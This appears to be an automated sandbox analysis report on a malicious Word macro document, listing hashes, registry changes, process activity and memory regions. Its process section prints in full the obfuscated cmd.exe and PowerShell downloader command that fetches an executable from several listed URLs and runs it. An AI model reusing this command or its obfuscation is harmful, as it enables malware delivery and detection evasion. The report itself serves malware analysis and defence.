Analysis
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max time kernel
121s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
23-05-2024 00:28
Behavioral task
behavioral1
Sample
621b8cdd17688f2ed0eb8f985f9463a6JaffaCakes118.doc
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
621b8cdd17688f2ed0eb8f985f9463a6JaffaCakes118.doc
Resource
win10v2004-20240426-en
General
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Target
621b8cdd17688f2ed0eb8f985f9463a6JaffaCakes118.doc
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Size
134KB
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MD5
621b8cdd17688f2ed0eb8f985f9463a6
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SHA1
d5fa8a2854e16f3b5663ec5adc1225a4408679c3
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SHA256
4b4fbf3de37b71b5a81da84da06a2264dfec57b849e6f4ac5cb55197a05c540b
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SHA512
cc1b8d6f1d5a8ab712ad46b002a02fd874a308a72e42223a23e20d926f27dcebc50c9bbdc95597f44c82d944824c42bfd29700dff4b436ebbea330020a534bee
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SSDEEP
1536:9JL8ec0qe4PkTf560/hc+ah1CjN6lE/OH7841Pee2L6Dq+5A9lC6wtRDC0a7rqnn:ie4M160/hgkjOkL6DLwwtFC0pqLHLg
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
Cmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 2704 3044 Cmd.exe WINWORD.EXE -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 5 2512 powershell.exe 7 2512 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
Processes:
Cmd.exepid process 2704 Cmd.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
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Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor WINWORD.EXE -
Modifies registry class 64 IoCs
Processes:
WINWORD.EXEdescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\"" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\"" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]" WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 3044 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2512 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2512 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 3044 WINWORD.EXE 3044 WINWORD.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
WINWORD.EXECmd.exedescription pid process target process PID 3044 wrote to memory of 2788 3044 WINWORD.EXE splwow64.exe PID 3044 wrote to memory of 2788 3044 WINWORD.EXE splwow64.exe PID 3044 wrote to memory of 2788 3044 WINWORD.EXE splwow64.exe PID 3044 wrote to memory of 2788 3044 WINWORD.EXE splwow64.exe PID 3044 wrote to memory of 2704 3044 WINWORD.EXE Cmd.exe PID 3044 wrote to memory of 2704 3044 WINWORD.EXE Cmd.exe PID 3044 wrote to memory of 2704 3044 WINWORD.EXE Cmd.exe PID 3044 wrote to memory of 2704 3044 WINWORD.EXE Cmd.exe PID 2704 wrote to memory of 2512 2704 Cmd.exe powershell.exe PID 2704 wrote to memory of 2512 2704 Cmd.exe powershell.exe PID 2704 wrote to memory of 2512 2704 Cmd.exe powershell.exe PID 2704 wrote to memory of 2512 2704 Cmd.exe powershell.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\621b8cdd17688f2ed0eb8f985f9463a6JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
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C:\Windows\SysWOW64\Cmd.exeCmd qCacJpzK aXMjOrbjcLdtjClIlIY wFwDvIQNpS & %^c^o^m^S^p^E^c^% %^c^o^m^S^p^E^c^% /V /c set %vLdlwtPRzUGwzzj%=fUfNRXCBzctC&&set %JlqCGdNLf%=p&&set %UvQizJMohMOXdK%=o^w&&set %ubzaElQcSmwFsYF%=NsolmmsV&&set %aMBrVvWvLfXK%=!%JlqCGdNLf%!&&set %kmbXIblVzNXVVju%=jETtWZVt&&set %mrMwFIRnwwmYmb%=e^r&&set %rGnKwKir%=!%UvQizJMohMOXdK%!&&set %VtbGPkGTBqN%=s&&set %RvoHoIQIiipRKsT%=AdFfBjljzcFhS&&set %ddwmIjG%=he&&set %mAMaqDHTiM%=ll&&!%aMBrVvWvLfXK%!!%rGnKwKir%!!%mrMwFIRnwwmYmb%!!%VtbGPkGTBqN%!!%ddwmIjG%!!%mAMaqDHTiM%! "('EmVnsada'+'s'+'d = &(QbvnQb'+'v'+'+QbveQbv+'+'Qbvw-'+'objec'+'Qbv+QbvtQ'+'bv'+') ra'+'ndom'+';Em'+'VYYU = .(Qbvne'+'Qbv+Q'+'b'+'vwQbv+Q'+'bv-objec'+'tQbv) S'+'ystem.N'+'et.'+'WebClient;E'+'mVNSB = EmVnsadasd'+'.next'+'(100'+'00,'+' 2821'+'33);Em'+'V'+'ADCX ='+' Qbv'+' http:'+'//'+'thurtell.com/R5FTbS'+'/@http:/'+'/'+'hireatr'+'adesman.co'+'m'+'.au/UkA'+'7'+'V'+'/'+'@http:'+'/'+'/'+'tigge'+'rne'+'ss.net/NN'+'3U'+'bF/@http://lunarianar'+'t.com/'+'b'+'k'+'li'+'/@'+'http://aly'+'n'+'fi'+'res'+'.co.uk/8'+'ckoG'+'S'+'/'+'Qbv.'+'Spli'+'t(Qbv@Qbv);EmVSDC'+' = '+'EmVenv:pu'+'bl'+'ic + QbvM'+'GeQ'+'b'+'v + Em'+'VNS'+'B'+' + (Q'+'bv'+'.'+'e'+'xQbv+Qbve'+'Qbv)'+';f'+'ore'+'ach('+'EmVas'+'fc'+' i'+'n Em'+'VADCX){'+'try'+'{'+'E'+'mVY'+'YU.u7qDo'+'SAuW'+'nlSAuOadFI'+'SAuleu7q(E'+'mVasf'+'c.u7qToStrSAuiSAuNgu7q(),'+' Em'+'VSDC);&(QbvI'+'nvoQbv+'+'Q'+'bv'+'kQbv+Qbve-It'+'emQb'+'v)(Em'+'VSDC)'+';'+'bre'+'ak;}c'+'atch{}}').RePLAce('Qbv',[STRING][Char]39).RePLAce('u7q',[STRING][Char]34).RePLAce('SAu','`').RePLAce('MGe','\').RePLAce('EmV',[STRING][Char]36) |. ((vARiabLe '*mDr*').NaMe[3,11,2]-jOIN'')2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "('EmVnsada'+'s'+'d = &(QbvnQb'+'v'+'+QbveQbv+'+'Qbvw-'+'objec'+'Qbv+QbvtQ'+'bv'+') ra'+'ndom'+';Em'+'VYYU = .(Qbvne'+'Qbv+Q'+'b'+'vwQbv+Q'+'bv-objec'+'tQbv) S'+'ystem.N'+'et.'+'WebClient;E'+'mVNSB = EmVnsadasd'+'.next'+'(100'+'00,'+' 2821'+'33);Em'+'V'+'ADCX ='+' Qbv'+' http:'+'//'+'thurtell.com/R5FTbS'+'/@http:/'+'/'+'hireatr'+'adesman.co'+'m'+'.au/UkA'+'7'+'V'+'/'+'@http:'+'/'+'/'+'tigge'+'rne'+'ss.net/NN'+'3U'+'bF/@http://lunarianar'+'t.com/'+'b'+'k'+'li'+'/@'+'http://aly'+'n'+'fi'+'res'+'.co.uk/8'+'ckoG'+'S'+'/'+'Qbv.'+'Spli'+'t(Qbv@Qbv);EmVSDC'+' = '+'EmVenv:pu'+'bl'+'ic + QbvM'+'GeQ'+'b'+'v + Em'+'VNS'+'B'+' + (Q'+'bv'+'.'+'e'+'xQbv+Qbve'+'Qbv)'+';f'+'ore'+'ach('+'EmVas'+'fc'+' i'+'n Em'+'VADCX){'+'try'+'{'+'E'+'mVY'+'YU.u7qDo'+'SAuW'+'nlSAuOadFI'+'SAuleu7q(E'+'mVasf'+'c.u7qToStrSAuiSAuNgu7q(),'+' Em'+'VSDC);&(QbvI'+'nvoQbv+'+'Q'+'bv'+'kQbv+Qbve-It'+'emQb'+'v)(Em'+'VSDC)'+';'+'bre'+'ak;}c'+'atch{}}').RePLAce('Qbv',[STRING][Char]39).RePLAce('u7q',[STRING][Char]34).RePLAce('SAu','`').RePLAce('MGe','\').RePLAce('EmV',[STRING][Char]36) |. ((vARiabLe '*mDr*').NaMe[3,11,2]-jOIN'')3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotmFilesize
20KB
MD56596c9e6a2e67657b069d603eb4ce480
SHA1084d4ac3553aecbb86cce1c11250e3c163176c3c
SHA25602a6da8708d56c1e9f33008336746655c6669a896ae0ce4f58227ae72a74aa04
SHA512599b30999278c191ca3841d8f19fa343069220543a6183f33bd06b3f4a2dedf84ffd3ddab8e185034a19abed85528b348e25563de1e05ac6f78c9e3ac996e256
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memory/3044-21-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-43-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-22-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-0-0x000000002F311000-0x000000002F312000-memory.dmpFilesize
4KB
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memory/3044-8-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-6-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-7-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-46-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-40-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-49-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-39-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-38-0x0000000006800000-0x0000000006900000-memory.dmpFilesize
1024KB
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memory/3044-37-0x0000000006800000-0x0000000006900000-memory.dmpFilesize
1024KB
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memory/3044-30-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-24-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-23-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-9-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-20-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-2-0x00000000717FD000-0x0000000071808000-memory.dmpFilesize
44KB
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memory/3044-19-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-18-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-48-0x0000000006800000-0x0000000006900000-memory.dmpFilesize
1024KB
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memory/3044-17-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-16-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-15-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-14-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-13-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-12-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-11-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-10-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-59-0x00000000717FD000-0x0000000071808000-memory.dmpFilesize
44KB
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memory/3044-60-0x0000000000460000-0x0000000000560000-memory.dmpFilesize
1024KB
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memory/3044-61-0x0000000006800000-0x0000000006900000-memory.dmpFilesize
1024KB
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memory/3044-1-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/3044-78-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/3044-79-0x00000000717FD000-0x0000000071808000-memory.dmpFilesize
44KB